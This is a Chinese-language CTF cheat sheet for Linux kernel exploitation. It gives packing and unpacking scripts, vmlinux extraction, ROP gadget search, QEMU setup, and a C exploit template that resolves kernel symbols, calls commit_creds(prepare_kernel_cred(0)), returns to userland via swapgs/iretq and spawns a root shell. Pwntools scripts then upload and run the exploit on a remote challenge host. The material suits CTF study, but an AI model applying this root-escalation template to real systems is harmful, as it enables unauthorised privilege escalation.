首先给出用于打包的脚本:
#!/bin/sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
mv $1 ..
这个脚本放在一个喜欢的位置
然后:
sudo ln -s 文件位置 /usr/local/bin/gen
使用的时候直接gen 文件名就好
解包推荐安装unar,万能解压神器,也可以用下面的脚本
#!/bin/bash
mv $1 $1.gz
unar $1.gz
mv $1 core
mv $1.gz $1
echo "[+]Successful"
使用的时候:
hen core.cpio#这里我给的命令是hen
当程序没有给出vmlinux(相当于libc),可以使用下面的脚本进行获取:
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland
#
# (c) 2011 Corentin Chary
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me " >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
和上面一样,建立软连接的时候选择自己喜欢的指令就好,这里我选则的是vml
因此直接:
vml bzImage > vmlinux
在寻找gadget的时候一般使用ropper和ROPgadget来获得gadget,还可以用下面的来获得gadget:
#!/bin/sh
objdump -d $1 -M intel | grep -E $2
echo "Done"
还是要建立一个软连接,可以自定义喜欢的名字,这里我选的是lgadget
用法:
lgadget vmlinux "pop|ret"|grep "rdi"
但是不知道为什么虽然速度很快,但是的确很难找,因此推荐使用ropper,也就两分钟就可以找到所有的gadget
在ubuntu16下ropper有点难安装,可以用如下命令进行安装
git clone https://github.com/sashs/ropper.git
cd ropper
git submodule init
git submodule update
./Ropper.py
git clone https://github.com/sashs/filebytes.git
cd filebytes
sudo python setup.py install
sudo ln -s ~/ropper/Ropper.py /usr/local/bin/ropper
使用:(以查找pop|ret为例)
ropper -f vmlinux --nocolor > g1.txt
grep 'pop rdi; ret;' g1.txt
init:
#!/bin/sh
#挂在指令
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
#在kernle中我们一般使用commit_creds(prepare_kernel_cred(0))来提权
#这个相当于用户态的system("sh")
#在proc/kallsyms存放着我们需要的函数,因此可以直接在窗口用
#cat /proc/kallsyms |grep commit_cred来寻找函数地址
#可以使用lsmod来显示程序基地址
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
#这里加载了一个驱动一般是需要pwn 的文件
insmod /core.ko
#poweroff -d 120 -f & #注释掉
setsid /bin/cttyhack setuidgid 1000 /bin/sh #这里把1换成0可以再我们调试的时候直接root权限即
#setsid /bin/cttyhack setuidgid 0000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
start.sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-gdb tcp::2222 //这里用来调试,调试的时候先gdb ./vmlinux -q,进入之后add-symbols-file 漏洞文件 程序基地址(lsmod)
可以用如下两个函数来保存寄存器状态,其中第一个在编译的时候需要加一个-masm=intel
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// at&t flavor assembly
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
动态寻找函数地址:
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
shell
#include
#include
#include
#include
#include
#include
#include
#include
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
printf("[+]Get Root!");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
模板:
#include
#include
#include
#include
#include
#include
#include
#include
#include
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
void get_shell(void){
system("/bin/sh");
}
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
void spawn_shell()
{
if(!getuid())
{
puts("Get shell");
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
int exp(){
get_root();
__asm__(
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push spawn_shell;"
"swapgs;"
"iretq;"
);
}
int main()
{
save_status();
signal(SIGSEGV, spawn_shell);
signal(SIGTRAP, spawn_shell);
int fd = open("file",2);
if(fd < 0){
puts("open error");
exit(0);
}
}
下断点:
在ida里面我们看到的都是开了kaslr显示的数据,(相当于开了pie),因此可以像以前下断点那样下b*(codebase+偏移地址),其中codebase就是程序加载基地址,用lsmod即可查看
寻找cred结构体大小的方法,root权限通过:
cat /proc/kallsyms |grep "cred_init"
然后将所得地址的后几位记下来,将vmlinux导入ida,查找后几位得到cred的大小
上传脚本:
需要在当前目录下创建一个poc文件并将其中的c代码命名为exp.c
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
# context.log_level = 'debug'
cmd = '$ '
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp -masm=intel')
os.system('gzip -c ./poc/exp > ./poc/exp.gz')
r.sendlineafter(cmd, 'cat < exp.gz.b64')
r.sendline((read('./poc/exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()
# p = process('./startvm.sh', shell=True)
p = remote('nc.eonew.cn',10100)
exploit(p)
上传脚本2:
#coding:utf8
from pwn import *
import base64
context.log_level = 'debug'
os.system("musl-gcc 1.c -o exp --static")
sh = remote('127.0.0.1',5555)
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()
per_length = 0x200;
sh.sendlineafter('# ','touch /tmp/exploit')
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
sh.sendlineafter('# ','chmod +x /tmp/exploit')
sh.sendlineafter('# ','/tmp/exploit')
sh.interactive()